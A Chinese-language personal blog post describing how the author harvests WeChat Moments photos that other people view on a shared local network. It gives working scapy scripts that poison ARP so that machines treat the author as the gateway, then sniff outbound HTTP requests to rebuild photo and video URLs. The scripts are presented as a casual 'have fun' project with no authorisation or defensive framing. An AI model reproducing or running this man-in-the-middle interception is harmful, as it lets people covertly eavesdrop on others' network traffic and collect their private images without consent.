收割朋友圈照片

Published on Mar 08, 2016

大概源于前一阵很火的微信朋友圈红包照片。

我记得那天是刚从长亭科技膜拜完离开,看到朋友圈满目的红包照片。

首先是BJ Nodejs的群里有人开始晒不给红包看照片,后来这些搞计算机的同学都不给红包了。。。

好多天之后,我想,干脆爬下朋友圈吧。

于是有下文。

概述

目标:收割手机微信查看朋友圈时的照片

手段:ARP污染,告诉局域网内所有机器我是网关

设置系统转发

确保:

    reverland@localhost » cat /proc/sys/net/ipv4/ip_forward                                                                                               ~/tmp/sshjs  
    1

ARP污染

首先,我熟悉的scapy

    #! /usr/bin/python
    # -*- coding: utf-8 -*-
    # 欺骗target我是网关

    from scapy.all import *
    import sys
    import time

    target = sys.argv[1]
    gateway = sys.argv[2]
    # 也许不必要
    # 我只需要欺骗victim我是网关,把 请求 数据给我
    # 获取网关
    # route -n 0.0.0.0
    ### 本机ip
    # ip addr show wlan0
    # myip = '192.168.1.2'
    # 获取目标MAC地址
    # 1. arp -e 192.168.1.6
    # 2. this way
    # a, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff:ff')/ARP(op="who-has", psrc=myip, pdst=target),inter=RandNum(10,40), loop=0)
    # targetMac = a[0][1]['ARP'].hwsrc

    while 1:
        send(ARP(op="who-has", pdst=target, psrc=gateway))
        time.sleep(1)

实际上这么一广播所有的机器都会把你当作网关。。。只要你时刻不停的污染下去。

警告:可能会触发杀毒软件啥的警报

收割图片

匹配流量中图片地址就好,幸好微信消息是加密的, 只有朋友圈照片不加密。。

    #! /usr/bin/python
    # -*- coding: utf-8 -*-

    from scapy.all import *

    def prn(x):
        s = x['Raw'].load.split(' ')[1]
        if s.find('/mmsns/') >= 0 and s.find('/0?tp=webp') >= 0:
            return 'http://mmsns.qpic.cn' + s.replace('tp=webp', '')
        elif s.find('snsvideodownload') >= 0:
            return 'http://vweixinf.tc.qq.com' + s

    def lfilter(x):
        if x.haslayer('Raw') < 1:
            return False
        s = x['Raw'].load.split(' ')
        if s[0] == 'GET':
            return True
        return False

    sniff(iface="wlan0", filter="outbound and tcp and (port 80)", prn=prn, store=0, lfilter=lfilter)

That is all, have fun!

scapy 简直杀人越货的必备。发现该项目已经从bitbucket迁移到github上了。

没有做的

  1. 把两个部分放到两个线程里